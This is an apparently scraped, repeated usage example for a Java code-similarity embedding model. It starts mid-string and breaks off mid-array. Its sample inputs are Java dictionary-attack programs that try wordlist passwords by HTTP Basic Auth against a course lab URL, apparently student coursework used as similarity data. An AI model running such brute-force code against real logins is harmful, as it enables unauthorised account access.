(String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', 